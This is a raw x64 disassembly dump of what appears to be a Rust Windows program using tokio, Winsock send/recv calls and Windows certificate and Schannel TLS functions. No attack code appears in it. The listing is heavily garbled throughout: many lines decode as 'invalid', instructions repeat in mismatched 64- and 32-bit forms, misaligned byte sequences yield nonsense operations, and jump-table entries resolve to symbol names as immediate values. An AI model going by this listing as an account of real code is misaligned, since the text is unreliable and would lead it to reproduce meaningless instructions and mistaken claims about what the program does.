mov eax, 0x128
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
movzx r15d, byte [r13 + 0x152]
add byte [rbp + 0xf], al
mov dh, 0xa5
push rdx
add al, byte [rax]
add byte [rdi], cl
mov bh, 0x85
in al, 1
add byte [rax], al
invalid
add byte [rbp + 0xf], al
mov dh, 0xa5
push rdx
add al, byte [rax]
add byte [rdi], cl
mov bh, 0x85
in al, 1
add byte [rax], al
mov word [rbp + 0x31c], ax
mov eax, dword [rbp + 0x1e0]
add dword [rax], eax
add byte [rcx + 0x31885], cl
add byte [rbp + rcx*4 + 0x35], cl
pop rax
leave
or al, byte [rax]
add eax, dword [rax]
add byte [rbx + 0x1e085], cl
add dword [rax], eax
add dword [rax], eax
add byte [rcx + 0x31885], cl
add byte [rbp + rcx*4 + 0x35], cl
pop rax
leave
or al, byte [rax]
lea rcx, [r13 + 0x200]
call fcn.140069410
mov rax, qword [rbp + 0x320]
mov byte [rax + 0x253], 0
add al, byte [rax]
add al, ch
je 0x140112608
cmc
dec dword [rax - 0x75]
test dword [rax], esp
add eax, dword [rax]
add dh, al
adc byte [rbx + 2], 0
add byte [rax], al
cmp qword [rax + 0x1c8], 0
je 0x1401125c8
mov rax, qword [rbp + 0x320]
mov rcx, qword [rax + 0x1d0]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rax, qword [rbp + 0x320]
mov rcx, qword [rax + 0x1d8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rcx, qword [rbp + 0x320]
mov rax, qword [rcx + 0x1b0]
lock dec qword [rax]
mov rbx, rcx
jne 0x140112601
mov rcx, qword [rbx + 0x1b0]
call fcn.14014b970
mov rax, qword [rbx + 0x1b8]
lock dec qword [rax]
jne 0x140112628
mov rax, qword [rbp + 0x320]
mov rcx, qword [rax + 0x1b8]
mov rdx, qword [rax + 0x1c0]
call fcn.14006cb50
mov rax, qword [rbp + 0x320]
mov byte [rax + 0x254], 0
mov rax, qword [rax + 0x148]
lock dec qword [rax]
dec qword [rax]
add dh, al
adc byte [rdx + rax], 0
add byte [rax - 0x75], cl
or byte [rax + 1], 0
add al, dh
dec qword [rax]
jne 0x140112656
mov rax, qword [rbp + 0x320]
add byte [rax], al
mov rcx, qword [rax + 0x148]
call fcn.140068970
mov r8, qword [rbp + 0x320]
cmp byte [r8 + 0x140], 2
je 0x1401126a7
test dword [rax], esp
add eax, dword [rax]
add byte [rcx - 0x80], al
mov eax, 0x140
add dh, byte [rax + rax*2 + 0x49]
mov eax, dword [rax + 0x120]
mov rax, qword [r8 + 0x120]
mov rdx, qword [r8 + 0x128]
lea rcx, [r8 + 0x138]
mov r8, qword [r8 + 0x130]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1401126a7
mov rax, qword [r8 + 0x120]
mov rdx, qword [r8 + 0x128]
lea rcx, [r8 + 0x138]
mov r8, qword [r8 + 0x130]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rsi], rdi
mov qword [rsi + 8], r14
mov byte [rsi + 0x10], r12b
mov byte [rsi + 0x11], r15b
mov eax, dword [rbp + 0x318]
mov dword [rsi + 0x12], eax
movzx eax, word [rbp + 0x31c]
mov word [rsi + 0x16], ax
mov al, 1
mov rcx, qword [rbp + 0x320]
mov byte [rcx + 0x251], al
add rsp, 0x3b8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp byte [r9 + 0x159], 0
je 0x140112060
mov rcx, rbx
call fcn.1400681a0
mov byte [rax + 0x67], 1
mov r9, qword [rbp + 0x320]
jmp 0x140112060
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
shl rbx, 0x20
or rbx, 2
mov qword [rbp + 0x1e0], rbx
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x140112756
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14011280d
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14011280d
mov rdi, rax
mov qword [rax], rbx
lea rcx, [rbp + 0xb8]
call fcn.140109150
lea r14, fcn.140040690
mov r13, qword [rbp + 0x320]
jmp 0x14011229f
ud2
mov ecx, 8
mov edx, 0x128
call fcn.140186620
jmp 0x14011281c
mov ecx, 8
mov edx, 0x128
call fcn.140186620
jmp 0x14011281c
mov byte [rbp + 0x32f], 1
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_srciopoll_evented.rs
mov edx, 0x2b
call fcn.140186b70
jmp 0x14011281c
mov ecx, 8
mov edx, 8
call fcn.140186620
ud2
int3
test dword [rdi - 0x1d], esi
invalid
add ecx, 8
jmp fcn.14016bfa0
int3
int3
sub esp, 0x30
mov rsi, rcx
mov rax, qword [rsp + 0x60]
and al, 0x60
cmp dword [rdx], 2
jne 0x140112e05
add rdx, 8
ret 0x4808
mov qword [rsp + 0x20], rax
mov rcx, rsi
call case.0x140153662.235
add bl, ch
jmp case.0x1400defac.396
or eax, 0x24448948
and byte [rax - 0x77], cl
mov rcx, rsi
mov qword [rsp + 0x20], rax
mov rcx, rsi
call fcn.140110b30
mov rax, rsi
add rsp, 0x30
add esp, 0x30
invalid
pop rsi
ret
in al, dx
sub byte [rcx], dh
xor eax, eax
cmp dword [rcx], 2
invalid
invalid
add byte [rax], al
invalid
xor eax, eax
cmp dword [rcx], 2
mov r8d, 0
add byte [rax + rcx - 0x18], dh
je case.0x140110efd.455
call fcn.140115540
or ah, byte [rdi]
add byte [rax], al
mov r8, rdx
mov rdx, r8
add rsp, 0x28
ret
int3
sub rsp, 0x28
cmp dword [rcx], 2
jne 0x140112e7c
mov rcx, qword [rcx + 0x20]
mov ecx, dword [rcx + 0x20]
cmp rcx, 0xffffffffffffffff
push qword [rcx + rdi - 0x46]
je case.0x1400dfa4d.345
mov edx, 1
add dword [rax], eax
add byte [rax], al
call qword [sym.imp.WS2_32.dll_shutdown]
cmp eax, 0xffffffff
je case.0x1400df101.359
adc dh, byte [rcx]
xor edx, edx
xor eax, eax
invalid
sal byte [rcx], cl
ror byte [rax - 0x7d], 0xc4
add rsp, 0x28
sub bl, al
ret
add rsp, 0x28
jmp case.0x14010ab6c.173
add bh, bh
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
adc eax, 0x7c47d
mov edx, eax
shl rdx, 0x20
shl edx, 0x20
or rdx, 2
or edx, 2
add dh, byte [rcx]
ror byte [rax - 0x7d], 0xc4
invalid
invalid
invalid
xor eax, eax
add rsp, 0x28
add esp, 0x28
sub bl, al
ret
lea rcx, str.called__Option::unwrap____on_a__None__value
or eax, 0xd77cd
ja case.0x1400df101.365
add byte [rbp + rcx*4 + 5], cl
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_srciopoll_evented.rs
lea eax, [0x1401c4938]
add eax, 0xb1a8e
mov ds, word [rdx]
sbb cl, byte [rbx]
or eax, dword [rax]
add byte [rdx + 0x2b], bh
mov edx, 0x2b
add byte [rax], al
add al, ch
call fcn.140186b70
mov esp, 0xf00073c
add byte [rdi], cl
ud2
or ecx, esp
int3
int3
int3
int3
sub rsp, 0x30
mov rsi, rcx
mov esi, ecx
in al, dx
xor byte [rax - 0x77], cl
invalid
mov rcx, qword [rsp + 0x60]
and al, 0x60
cmp dword [rdx], 2
cmp al, byte [rdx]
add dh, byte [rbp + 0x13]
jne 0x140112ee5
adc ecx, dword [rax - 0x7d]
add rdx, 8
ret 0x4808
or byte [rax - 0x77], cl
mov qword [rsp + 0x20], rcx
and al, 0x20
mov rcx, rsi
mov ecx, esi
int1
call fcn.14016c990
lodsd eax, dword [rsi]
invalid
jmp case.0x1401528ff.311
add r9, 0xfffffffffffffff0
add r9, 0xfffffffffffffff0
add ecx, 0xfffffff0
sal eax, 0x48
shl rcx, 4
shl ecx, 4
loope case.0x1400e3648.321
lea rax, [0x1401ea218]
lea eax, [0x1401ea218]
and al, 0x73
jae case.0x1400e1cdb.342
or eax, 0x66666600
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword [rax + rax]
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
test rcx, rcx
leave
je case.0x1400e1cdb.346
invalid
mov r10d, dword [r9 + 0x10]
mov edx, dword [rcx + 0x10]
push rcx
adc byte [rcx - 0x7d], cl
add r9, 0x10
invalid
add r9, 0x10
add ecx, 0x10
adc byte [rax - 0x7d], cl
sal eax, 0x4d
invalid
test r10, r10
add rcx, 0xfffffffffffffff0
add ecx, 0xfffffff0
invalid
test r10, r10
sal byte [rdx + rbp*8 + 0x49], cl
je case.0x1400e1cdb.342
invalid
mov rax, qword [r9 + 8]
mov eax, dword [rcx + 8]
or r11b, bpl
jmp case.0x1400e2e02.315
add eax, dword [rbp + 0x31]
xor r10d, r10d
ror byte [rcx + rcx*4 + 0x54], cl
mov qword [rsp + 0x20], r10
push rsp
and al, 0x20
and byte [rax - 0x77], cl
mov rcx, rsi
mov ecx, esi
int1
mov r9, rax
mov ecx, eax
shr eax, 1
call fcn.140110b30
fdiv st(7), st(0)
dec dword [rax - 0x77]
invalid
invalid
invalid
mov rax, rsi
mov eax, esi
invalid
add rsp, 0x30
add esp, 0x30
invalid
pop rsi
ret
int3
int3
int3
int3
int3
int3
cmp dword [rdx], eax
sete al
xchg esp, eax
invalid
add cl, byte [rdi]
xchg esp, eax
rol bl, 0xcc
ret
int3
int3
int3
int3
int3
int3
push rsi
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
in al, dx
and byte [rax - 0x77], cl
mov rsi, rcx
mov esi, ecx
invalid
xor eax, eax
rol byte [rbx - 0x6af0fdc6], 0xc0
cmp dword [rdx], 2
cmp al, byte [rdx]
setne al
xchg ebp, eax
ror byte [rax - 0x73], 0x14
lea rdx, [rdx + rax*8]
invalid
invalid
lea rdx, [rdx + rax*8]
lea edx, [rdx + rax*8]
adc al, 0xc2
add rdx, 8
add edx, 8
or al, ch
call fcn.140052c60
mov rax, rsi
mov eax, esi
cld
dec dword [rax - 0x77]
dec dword [rax - 0x77]
mov eax, esi
invalid
add rsp, 0x20
pop rsi
invalid
and byte [rsi - 0x3d], bl
ret
int3
int3
int3
int3
int3
int3
int3
int3
push rsi
sub rsp, 0x20
sub esp, 0x20
in al, dx
and byte [rax - 0x77], cl
mov rsi, rcx
invalid
cmp dword [rdx], 2
cmp al, byte [rdx]
add dh, byte [rbp + 9]
jne case.0x1400e7c73.288
or dword [rax - 0x39], ecx
mov qword [rsi], 0
mov dword [rsi], 0
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bl, ch
jmp case.0x14014c89f.275
or byte [rax - 0x77], cl
mov rcx, rsi
mov ecx, esi
int1
call fcn.140112fb0
adc al, byte [rax]
add byte [rax], al
add byte [rax - 0x77], cl
mov rax, rsi
mov eax, esi
invalid
add rsp, 0x20
invalid
and byte [rsi - 0x3d], bl
pop rsi
ret
int3
int3
int3
int3
int3
int3
int3
push r15
push rdi
push r14
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x38
sub esp, 0x38
in al, dx
cmp byte [rax - 0x73], cl
insb byte [rdi], dx
lea rbp, [rsp + 0x30]
and al, 0x30
xor byte [rax - 0x39], cl
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
add r14b, r15b
invalid
invalid
dec dword [rax - 0x77]
mov rsi, rcx
mov esi, ecx
invalid
lea rcx, [rdx + 0xc0]
lea ecx, [rdx + 0xc0]
mov al, al
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rbp - 8], 0
mov dword [rbp - 8], 0
clc
clc
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x45], cl
lea r8, [rbp - 8]
lea eax, [rbp - 8]
clc
clc
mov edx, 0x53
add byte [rax], al
add bh, bh
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
adc eax, 0x7c51e
invalid
add byte [0xc01a32fd], bh
cmp eax, 0x8009030e
invalid
add ecx, dword [rcx]
or dword [rax - 0x3f7a9c8c], eax
xor byte [rbx + riz*2 - 0x7b], 0xc0
je case.0x14014c89f.301
invalid
test eax, eax
sal byte [rbp + 0x64], 0x4c
mov edi, dword [rbp - 8]
jge case.0x1400e7c73.301
jne case.0x1400e9218.308
mov r15, qword fs:[rbp - 8]
mov r15, qword [rbp - 8]
jge case.0x1400e7c73.301
clc
mov rbx, qword [r15 + 8]
mov ebx, dword [rdi + 8]
pop rdi
or byte [rcx - 0x75], al
mov edi, dword [r15 + 0x10]
mov edi, dword [rdi + 0x10]
jg case.0x1400e37ef.337
adc byte [rax - 0x7b], cl
test rdi, rdi
test edi, edi
push qword [rbp + rbp*2 + 0xf]
je 0x140113073
insd dword [rdi], dx
movzx eax, byte [0x14023c308]
mov dh, 5
add eax, 0x1292fb
sti
xchg edx, eax
adc al, byte [rax]
invalid
add byte [rax - 0x75], cl
or eax, 0x129244
xchg edx, eax
adc al, byte [rax]
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
xchg edx, eax
xchg edx, eax
adc al, byte [rax]
add byte [rax - 0x7b], cl
leave
test rcx, rcx
test ecx, ecx
jne 0x14011302e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
adc eax, 0x7c021
and eax, eax
rol byte [rdi], 0
invalid
add byte [rax - 0x7b], cl
test rax, rax
sal byte [rbp + rbx + 0x48], 0x89
ror dword [rax - 0x77], 5
invalid
invalid
je 0x140113041
sbb eax, 0x48c18948
mov rcx, rax
mov ecx, eax
mov qword [0x14023c258], rax
mov dword [0x14023c258], eax
add eax, 0x12922a
sub dl, byte [rdx - 0x2dceffee]
adc al, byte [rax]
xor edx, edx
ror byte [rcx - 0x77], cl
clc
mov r8, rdi
mov eax, edi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
mov edi, 0x89490007
invalid
add byte [rcx - 0x77], cl
mov esi, eax
invalid
test rax, rax
test eax, eax
sal byte [rbp + 0x38], 0x4c
jne 0x140113079
mov qword [rbp - 0x10], r15
mov dword [rbp - 0x10], edi
invalid
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov rdx, rdi
mov edx, edi
cli
call fcn.140186620
ud2
or eax, dword [rbp + 0x31]
imul bl
invalid
xor r14d, r14d
jmp 0x140113090
shl rax, 0x20
shl eax, 0x20
loopne 0x14011307d
or rax, 2
or eax, 2
add bh, byte [rcx + 2]
mov ecx, 2
add al, byte [rax]
add byte [rax], al
mov rdx, rax
mov edx, eax
ret 0x72e8
call fcn.1401130e0
xor r14d, r14d
jmp 0x140113090
imul bl
sbb eax, 0x1be41
add dword [rax], eax
mov r14d, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov rdx, rbx
mov edx, ebx
fimul dword [rcx - 0x77]
clc
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r15
invalid
add byte [rcx + rcx*4 - 7], cl
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
sbb ah, al
invalid
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], rdi
jle 0x1401130b0
jle 0x1401130b0
mov qword [rsi + 8], r14
jbe 0x1401130a4
mov qword [rsi], 1
add rsp, 0x38
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add esp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
push r15
push rdi
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x30]
mov rcx, qword [rbp - 0x10]
call sub.crypt32.dll_CertFreeCertificateContext
hlt
call qword [rax + 0x28c48348]
hlt
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
sub rsp, 0x40
lea rbp, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov qword [rbp - 8], 0xfffffffffffffffe
test rcx, rcx
invalid
leave
je 0x140113111
sbb cl, byte [rax - 0x7d]
stc
add dh, byte [rbp + 0x1a]
cmp rcx, 2
cmp ecx, 2
jne 0x140113117
mov eax, edx
and eax, 3
lea rcx, [rax - 2]
dec byte [rax - 0x7d]
stc
add dh, byte [rdx + 5]
invalid
dec byte [rax - 0x7d]
stc
add dh, byte [rdx + 5]
invalid
add eax, 0x75c08548
adc eax, 0x40c48348
add esp, 0x40
test rax, rax
jne case.0x14010aa3a.166
add rsp, 0x40
add esp, 0x40
pop rbp
ret
mov rcx, rdx
mov ecx, edx
ror dword [rax - 0x7d], 1
invalid
add rsp, 0x40
pop rbp
jmp qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
jmp qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
lea rax, [rdx - 1]
lea eax, [rdx - 1]
mov qword [rbp - 0x20], rax
loopne 0x140113177
loopne 0x140113177
mov rcx, qword [rdx - 1]
mov ecx, dword [rdx - 1]
mov rax, qword [rdx + 7]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0x18], eax
invalid
invalid
mov dword [rbp - 0x18], eax
call 0xcb594241
call qword [rax]
mov rax, qword [rbp - 0x18]
call 0x14889b490
invalid
call 0x14889b490
call 0x14889b490
add byte [rsp + 0x48], dh
je 0x14011316f
and al, 0x48
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
jae case.0x140110e46.214
invalid
mov r8, qword [rbp - 0x10]
jmp case.0x14010ab6c.157
invalid
invalid
or byte [rbx + rcx*4 + 0x45], cl
invalid
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
invalid
mov r8, qword [r8 - 8]
clc
clc
mov rcx, qword [0x14023c258]
or eax, 0x1290f1
nop
adc al, byte [rax]
add byte [rcx], dh
sar bh, cl
adc eax, 0x7beb9
invalid
invalid
invalid
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
invalid
invalid
mov esi, 0x8b480007
invalid
add byte [rax - 0x75], cl
mov rcx, qword [0x14023c258]
or eax, 0x1290e2
loop case.0x140110e46.202
nop
adc al, byte [rax]
add byte [rcx], dh
xor edx, edx
mov r8, qword [rbp - 0x20]
invalid
invalid
ror byte [rbx + rcx*4 + 0x45], cl
loopne 0x1401131c5
loopne 0x1401131c5
add rsp, 0x40
add esp, 0x40
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
and eax, 0x7bea0
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
push rsp
and al, 0x10
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
sub rsp, 0x20
sub esp, 0x20
in al, dx
and byte [rax - 0x73], cl
push 0x40
invalid
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x14861bcee
mov rdx, qword [rax + 8]
push rax
or byte [rbx + rcx*4 + 0x40], cl
adc byte [rax - 0x75], cl
invalid
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
invalid
invalid
call fcn.140005270
dec dword [rax - 0x75]
loopne 0x1401131a0
mov rcx, qword [rbp - 0x20]
mov ecx, dword [rbp - 0x20]
call fcn.140029350
nop
add rsp, 0x20
invalid
xchg esp, eax
invalid
int1
call qword [rax + 0x20c48348]
and byte [rbp - 0x3d], bl
int3
pop rbp
ret
int3
int3
int3
int3
int3
int3
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x78
sub esp, 0x78
in al, dx
js 0x140113221
lea rbp, [rsp + 0x70]
lea ebp, [rsp + 0x70]
jo 0x140113226
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
add dh, bh
invalid
invalid
dec dword [rcx - 0x77]
enter 0xffffffffffff8948, 0x51
push rcx
mov r8, rcx
mov qword [rcx + 0x38], rdx
push rcx
invalid
push rcx
cmp byte [rdi], cl
mov dh, 0x41
test rax, rax
test rax, rax
movzx eax, byte [rcx + 0x40]
test rax, rax
test eax, eax
sal byte [rsp + rcx - 0x7d], 0xf8
add dh, byte [rbp + 0x12]
jne 0x14011320c
je case.0x14010ab6c.180
cmp eax, 2
jne 0x14011320c
adc dh, byte [rcx]
imul cl
invalid
xor esi, esi
jmp 0x140113340
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x80], al
js 0x140113248
cmp byte [r8 + 0x43], 0
add byte [rdi], cl
jne 0x140113293
test dword [rdi - 0x39000000], eax
xchg dword [rax], eax
add byte [rax], al
mov dword [rbp - 0x14], 1
in al, dx
in al, dx
add dword [rax], eax
add byte [rax], al
movabs rax, 0x200000004
mov eax, 4
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rdx], al
add byte [rax], al
invalid
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x77], cl
mov r8d, 0xec458d48
lea eax, [rbp - 0x14]
mov qword [rbp - 0x48], rax
lea rax, [rbp - 0x14]
lea eax, [rbp - 0x14]
in al, dx
in al, dx
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x40], eax
ror byte [r8 - 0x48], 0
add byte [rax], al
movabs rax, 0x100000000
mov eax, 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rbp - 0x38], rax
enter 0xffffffffffff8d48, 0x45
mov eax, 0xd0458948
mov dword [rbp - 0x30], eax
lea rax, [rbp - 0x48]
lea eax, [rbp - 0x48]
mov r8d, 0xd0458948
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x30], eax
ror byte [rcx + rcx*4 + 0x45], 1
clc
mov qword [rbp - 8], r8
mov dword [rbp - 8], eax
lea rcx, [r8 + 0xc0]
mov al, al
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [rbp - 0x38]
push rbp
enter 0x15ff, 0xffffffffffffff9c
call qword [sym.imp.secur32.dll_ApplyControlToken]
ret 7
add byte [rcx + 0x74c085c6], cl
sbb eax, 0x20e6c148
shl rsi, 0x20
mov esi, eax
test eax, eax
mov byte [rbp + 0x481d74c0], 0xc1
je 0x140113277
shl rsi, 0x20
shl esi, 0x20
out 0x20, al
or rsi, 2
or esi, 2
add cl, byte [rcx + 0x3e383f3]
mov ebx, esi
and ebx, 3
invalid
add ecx, dword [rax - 0x73]
lea rax, [0x1401ef340]
lea eax, [0x1401ef340]
add eax, 0xdc0d2
add byte [rax + 0x63], cl
movsxd rcx, dword [rax + rbx*4]
invalid
or al, 0x98
add rcx, rax
jmp rcx
invalid
sar edi, 0xe1
loope 0x1401132c4
mov r8, qword [rbp - 8]
mov eax, dword [rbp - 8]
mov dword [r8 + 0x40], 0x1010000
add byte [rax], al
add dword [rcx], eax
invalid
add dword [rcx - 0x3a], eax
add byte [rcx - 0x39], r9b
mov dword [rax + 0xf8], 0
mov byte [r8 + 0x44], 0
mov byte [rax + 0x44], 0
mov qword [r8 + 0xf8], 0
mov dword [rax + 0xf8], 0
clc
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
enter 0xffffffffffff894c, 0x45
mov qword [rbp - 8], r8
lea rcx, [rbp - 0x38]
mov qword [rbp - 8], r8
clc
mov rdx, r8
call fcn.140113540
cmp dword [rbp - 0x38], 2
invalid
invalid
add al, byte [rax]
add byte [rbx + 0x7502c87d], al
enter 0x7502, 0x1f
enter 0x7502, 0x1f
jne case.default.0x1401132c0
mov rsi, qword [rbp - 0x30]
mov ebx, esi
and ebx, 3
ror byte [rcx + 0x3e383f3], 1
and ebx, 3
lea rax, [0x1401ef340]
lea eax, [0x1401ef340]
xchg eax, eax
or eax, 0xc634800
invalid
invalid
movsxd rcx, dword [rax + rbx*4]
invalid
cwde
add rcx, rax
jmp rcx
invalid
loope 0x1401132d2
movzx eax, byte [rsi + 0x10]
jmp 0x1401132de
mov dh, 0x46
adc bl, ch
adc bl, r13b
invalid
xor esi, esi
jmp case.0x140111eeb.7
mov rcx, rsi
shr rcx, 0x20
call fcn.14014c870
add eax, dword [rax]
jmp 0xd5aa1af6
and al, ch
cwde
xchg ebp, eax
add eax, dword [rax]
jmp 0x1401132de
movzx eax, byte [rsi + 0xf]
invalid
cmp al, 0xd
jne case.0x140111eeb.7
or eax, 0x8b485a75
mov rax, qword [rbp - 8]
clc
mov qword [rax + 0x38], 0
mov edi, 1
invalid
add byte [rax], al
add byte [rdi + 1], bh
add byte [rax - 0x73], cl
dec byte [r8 - 0x7d]
lea rax, [rbx - 2]
lea eax, [rbx - 2]
cmp rax, 2
clc
add cl, byte [rdi]
invalid
invalid
jb 0x140113399
add byte [rbx - 0x7af0fe05], al
pop qword [rax]
add byte [rax], al
invalid
cmp ebx, 1
jne 0x140113399
add byte [rax], al
invalid
sti
add dword [rdi], ecx
test dword [rdi + 0x48000000], ecx
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
dec dword [rax - 0x77]
invalid
invalid
lea rax, [rsi - 1]
mov qword [rbp - 8], rax
clc
mov rcx, qword [rsi - 1]
mov rax, qword [rsi + 7]
mov eax, dword [rsi + 7]
dec dword [rax - 0x75]
invalid
mov eax, dword [rsi + 7]
mov qword [rbp - 0x10], rcx
invalid
mov qword [rbp - 0x20], rax
call qword [rax]
adc byte [rax - 0x75], cl
invalid
invalid
adc byte [rax - 0x75], cl
loopne 0x140113371
mov eax, dword [rbp - 0x20]
cmp qword [rax + 8], 0
cmp dword [rax + 8], 0
js 0x140113334
add byte [rdi + rdx*2 + 0x48], dh
cmp dword [rax + 0x10], 0x11
js 0x140113343
invalid
je 0x140113386
cmp qword [rax + 0x10], 0x11
js 0x140113343
adc dword [rbx + 0x39], esi
jae 0x14011336f
mov r8, qword [rbp - 0x10]
invalid
jmp 0x140113377
mov r8, qword [rbp - 8]
mov qword [r8 + 0x38], 0
mov dword [rax + 0x38], 0
cmp byte [rax], al
add byte [rax], al
add byte [rcx], dh
xor edi, edi
xor edi, edi
jmp 0x140113399
mov rax, rsi
shr rax, 0x20
cmp eax, 0x28
ja case.default.0x140113366
lea rcx, [0x1401ef350]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor eax, eax
jmp 0x1401132de
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
invalid
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
invalid
invalid
mov rax, rdi
mov rdx, rsi
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov al, 0x29
jmp 0x1401132de
invalid
invalid
invalid
invalid
invalid
mov al, 1
jmp 0x1401132de
sub bh, bh
invalid
invalid
invalid
mov al, 2
jmp 0x1401132de
and edi, edi
invalid
invalid
invalid
mov al, 3
jmp 0x1401132de
sbb bh, bh
invalid
invalid
invalid
mov al, 4
jmp 0x1401132de
adc edi, edi
invalid
invalid
invalid
mov al, 5
jmp 0x1401132de
or al, 0xff
invalid
invalid
invalid
mov al, 6
jmp 0x1401132de
invalid
invalid
invalid
invalid
invalid
mov al, 7
jmp 0x1401132de
invalid
invalid
invalid
invalid
invalid
mov al, 8
jmp 0x1401132de
idiv esi
invalid
invalid
invalid
mov al, 9
jmp 0x1401132de
invalid
invalid
invalid
invalid
invalid
mov al, 0xa
jmp 0x1401132de
invalid
invalid
invalid
invalid
invalid
mov al, 0xb
jmp 0x1401132de
loop case.0x140111eeb.24
invalid
invalid
invalid
mov al, 0xc
jmp 0x1401132de
invalid
invalid
invalid
invalid
invalid
mov al, 0xd
jmp 0x1401132de
invalid
invalid
invalid
invalid
invalid
mov al, 0xe
jmp 0x1401132de
int 0xfe
invalid
invalid
invalid
mov al, recv
jmp 0x1401132de
invalid
invalid
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_recv
jmp 0x1401132de
invalid
invalid
invalid
invalid
invalid
mov al, 0x11
jmp 0x1401132de
invalid
invalid
invalid
invalid
invalid
mov al, send
jmp 0x1401132de
mov cl, 0xfe
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_send
jmp 0x1401132de
stosb byte [rdi], al
invalid
invalid
invalid
invalid
mov al, setsockopt
jmp 0x1401132de
invalid
invalid
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_setsockopt
jmp 0x1401132de
pushfq
invalid
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_shutdown
jmp 0x1401132de
xchg ebp, eax
invalid
invalid
invalid
invalid
mov al, 0x17
jmp 0x1401132de
invalid
invalid
invalid
invalid
invalid
mov al, 0x18
jmp 0x1401132de
xchg esi, edi
invalid
invalid
invalid
mov al, 0x19
jmp 0x1401132de
cmp dh, 0xff
invalid
invalid
mov al, 0x1a
jmp 0x1401132de
jns case.0x140111eeb.39
invalid
invalid
invalid
mov al, 0x1b
jmp 0x1401132de
jb case.0x140111eeb.40
invalid
invalid
